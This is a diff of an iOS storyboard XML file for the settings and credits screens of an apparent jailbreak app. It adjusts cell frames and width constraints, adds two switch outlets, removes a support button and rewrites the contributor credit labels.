<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="biY-DV-Cta">
|
||||
<rect key="frame" x="0.0" y="759.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="847.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="biY-DV-Cta" id="rBs-X3-4zg">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<textField opaque="NO" contentMode="scaleToFill" enabled="NO" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="XXXXXXXXXXXXXXXX" textAlignment="right" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="s5y-Jh-zXs">
|
||||
@@ -786,7 +875,7 @@
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="5vY-TL-okz">
|
||||
<rect key="frame" x="15" y="5.5" width="38" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="38" id="C95-Ek-dkD"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="38" id="C95-Ek-dkD"/>
|
||||
<constraint firstAttribute="height" constant="33" id="d52-2B-iMo"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -808,16 +897,16 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="oC8-uX-vAJ">
|
||||
<rect key="frame" x="0.0" y="803.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="891.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oC8-uX-vAJ" id="82P-vy-Ygt">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Expiry" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PKH-cg-Hb6">
|
||||
<rect key="frame" x="15" y="11.5" width="47" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="47" id="5lk-cF-Dq4"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="47" id="5lk-cF-Dq4"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="EUI-Zy-pc8"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -841,7 +930,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="NWI-5m-CqO">
|
||||
<rect key="frame" x="0.0" y="847.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="935.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="NWI-5m-CqO" id="UhO-Lz-lTj">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
@@ -850,7 +939,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Uptime" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="BVc-2b-57b">
|
||||
<rect key="frame" x="15" y="11.5" width="56.5" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="56.5" id="2zE-59-yOg"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="56.5" id="2zE-59-yOg"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="uPw-7s-e0F"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -875,10 +964,10 @@
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
<tableViewSection headerTitle="Utilities" footerTitle="unc0ver v2.0.2" id="33o-xO-9yG">
|
||||
<tableViewSection headerTitle="Utilities" footerTitle="PLACEHOLDER" id="33o-xO-9yG">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="2Iu-w9-x4b">
|
||||
<rect key="frame" x="0.0" y="955" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1043" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="2Iu-w9-x4b" id="t4K-YB-H8y">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
@@ -902,10 +991,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="DTa-Xu-fsT">
|
||||
<rect key="frame" x="0.0" y="999" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1087" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="DTa-Xu-fsT" id="krI-4z-ctw">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="j3u-pn-SGo">
|
||||
@@ -926,10 +1015,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="LaS-Im-6eS">
|
||||
<rect key="frame" x="0.0" y="1043" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1131" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="LaS-Im-6eS" id="dcQ-Ib-8Mg">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="m4Q-Ej-PFv">
|
||||
@@ -950,10 +1039,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="yX4-Fp-ygw">
|
||||
<rect key="frame" x="0.0" y="1087" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1175" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="yX4-Fp-ygw" id="jeW-Es-OSZ">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="eJw-Wg-0Qe">
|
||||
@@ -974,10 +1063,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="N5h-RW-loI">
|
||||
<rect key="frame" x="0.0" y="1131" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1219" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="N5h-RW-loI" id="yqV-gg-joY">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="2T7-5o-whm">
|
||||
@@ -998,10 +1087,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="5p2-OT-Rp8">
|
||||
<rect key="frame" x="0.0" y="1175" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1263" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="5p2-OT-Rp8" id="psM-OR-RxD">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="sBD-7B-tON">
|
||||
@@ -1022,10 +1111,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="G9h-ne-rnX">
|
||||
<rect key="frame" x="0.0" y="1219" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1307" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="G9h-ne-rnX" id="WdA-qm-GQq">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="UTa-KC-4fJ">
|
||||
@@ -1045,35 +1134,11 @@
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="tfv-Vm-1FT">
|
||||
<rect key="frame" x="0.0" y="1263" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="tfv-Vm-1FT" id="eVL-nP-fxQ">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="ZTH-kT-ApL">
|
||||
<rect key="frame" x="15" y="5.5" width="320" height="33"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="Get Technical Support"/>
|
||||
<connections>
|
||||
<action selector="tappedOnGetTechnicalSupport:" destination="ScN-Hx-Um8" eventType="touchUpInside" id="HCb-6q-Jvq"/>
|
||||
</connections>
|
||||
</button>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="ZTH-kT-ApL" firstAttribute="leading" secondItem="eVL-nP-fxQ" secondAttribute="leading" constant="15" id="ELH-0f-Z8G"/>
|
||||
<constraint firstItem="ZTH-kT-ApL" firstAttribute="width" secondItem="eVL-nP-fxQ" secondAttribute="width" id="G7X-9K-1N5"/>
|
||||
<constraint firstItem="ZTH-kT-ApL" firstAttribute="centerY" secondItem="eVL-nP-fxQ" secondAttribute="centerY" id="ry9-fd-4Or"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="meU-ko-WL5">
|
||||
<rect key="frame" x="0.0" y="1307" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1351" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="meU-ko-WL5" id="d4g-il-Gek">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="zPL-cO-2ug">
|
||||
@@ -1110,6 +1175,7 @@
|
||||
<outlet property="ECIDLabel" destination="s5y-Jh-zXs" id="fp0-05-Dgr"/>
|
||||
<outlet property="ExpiryLabel" destination="Ggb-8F-dfb" id="Dh4-If-9ID"/>
|
||||
<outlet property="ExportKernelTaskPortSwitch" destination="HCT-C6-X9W" id="1iJ-hC-FYO"/>
|
||||
<outlet property="HideLogWindowSwitch" destination="okw-vN-Hf5" id="bNO-DC-3Nn"/>
|
||||
<outlet property="IncreaseMemoryLimitSwitch" destination="su4-yz-yLP" id="m13-Wn-tVi"/>
|
||||
<outlet property="KernelExploitSegmentedControl" destination="6Xx-ol-UYF" id="O8d-hv-ElQ"/>
|
||||
<outlet property="LoadDaemonsSwitch" destination="sUh-Nj-0hf" id="rbY-Ms-vpR"/>
|
||||
@@ -1117,6 +1183,7 @@
|
||||
<outlet property="OverwriteBootNonceSwitch" destination="5W0-39-WKV" id="baD-it-yNn"/>
|
||||
<outlet property="RefreshIconCacheSwitch" destination="E0P-lH-E3m" id="UVF-BM-lu5"/>
|
||||
<outlet property="ReloadSystemDaemonsSwitch" destination="dZz-WS-G1u" id="zAs-NI-nkc"/>
|
||||
<outlet property="ResetCydiaCacheSwitch" destination="5ao-Ni-cdG" id="qLZ-1Y-2nV"/>
|
||||
<outlet property="RestartSpringBoardButton" destination="sBD-7B-tON" id="T9J-Es-GVJ"/>
|
||||
<outlet property="RestoreRootFSSwitch" destination="Vce-QD-qkd" id="Psh-NM-sAb"/>
|
||||
<outlet property="ShareDiagnosticsDataButton" destination="j3u-pn-SGo" id="0cM-Vu-e4I"/>
|
||||
@@ -1149,14 +1216,14 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="LxV-D3-Xaq">
|
||||
<rect key="frame" x="15" y="5.5" width="234" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="LxV-D3-Xaq">
|
||||
<rect key="frame" x="15" y="5.5" width="200" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="234" id="kwq-r0-nAD"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="82" id="kwq-r0-nAD"/>
|
||||
<constraint firstAttribute="height" constant="33" id="qQo-hc-fa2"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@i41nbeer (tf, el, mp, aw & dx)">
|
||||
<state key="normal" title="@i41nbeer (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1178,14 +1245,14 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Ssj-wP-uhm">
|
||||
<rect key="frame" x="15" y="5.5" width="235" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Ssj-wP-uhm">
|
||||
<rect key="frame" x="15" y="5.5" width="254" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="235" id="I5m-KV-382"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="136" id="I5m-KV-382"/>
|
||||
<constraint firstAttribute="height" constant="33" id="dVW-Mo-V2U"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@Morpheus______ (qilin toolkit)">
|
||||
<state key="normal" title="@Morpheus______ (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1207,14 +1274,14 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="0TE-eN-62F">
|
||||
<rect key="frame" x="15" y="5.5" width="224" height="33"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="0TE-eN-62F">
|
||||
<rect key="frame" x="15" y="5.5" width="177" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="224" id="0pb-fc-m1Q"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="59" id="0pb-fc-m1Q"/>
|
||||
<constraint firstAttribute="height" constant="33" id="5B6-TT-ElB"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@xerub (libjb & original pf64)">
|
||||
<state key="normal" title="@xerub (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1236,14 +1303,14 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="dhG-4E-ixh">
|
||||
<rect key="frame" x="15" y="7" width="291" height="30"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="dhG-4E-ixh">
|
||||
<rect key="frame" x="15" y="7" width="210" height="30"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="30" id="ehd-0H-s4y"/>
|
||||
<constraint firstAttribute="width" constant="291" id="wno-G0-ZXv"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="92" id="wno-G0-ZXv"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="15"/>
|
||||
<state key="normal" title="@iBSparkes (original amfid, jbd & pspawn)">
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@iBSparkes (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1265,10 +1332,14 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="tj2-Vs-avN">
|
||||
<rect key="frame" x="15" y="6" width="296" height="32"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="16"/>
|
||||
<state key="normal" title="@stek29 (pf64 additions, nvram & hsp4)">
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="tj2-Vs-avN">
|
||||
<rect key="frame" x="15" y="6" width="186" height="32"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="68" id="KDA-h4-GjS"/>
|
||||
<constraint firstAttribute="height" constant="32" id="bb7-4y-ZpG"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@stek29 (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1290,14 +1361,14 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="8gM-Pb-Ijj">
|
||||
<rect key="frame" x="15" y="7" width="253" height="30"/>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="8gM-Pb-Ijj">
|
||||
<rect key="frame" x="15" y="7" width="241" height="30"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="30" id="MJS-Ri-nPJ"/>
|
||||
<constraint firstAttribute="width" constant="253" id="V49-Ah-P5J"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="123" id="V49-Ah-P5J"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@theninjaprawn (pf64 additions)">
|
||||
<state key="normal" title="@theninjaprawn (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
@@ -1312,21 +1383,108 @@
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="NfW-x4-NDs">
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="Drj-RB-q9m">
|
||||
<rect key="frame" x="0.0" y="319.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Drj-RB-q9m" id="tNf-8p-wWA">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="KPM-zr-gJ2">
|
||||
<rect key="frame" x="15" y="7" width="246" height="30"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="123" id="81m-Vd-YZr"/>
|
||||
<constraint firstAttribute="height" constant="30" id="aJN-Gy-f1y"/>
|
||||
</constraints>
|
||||
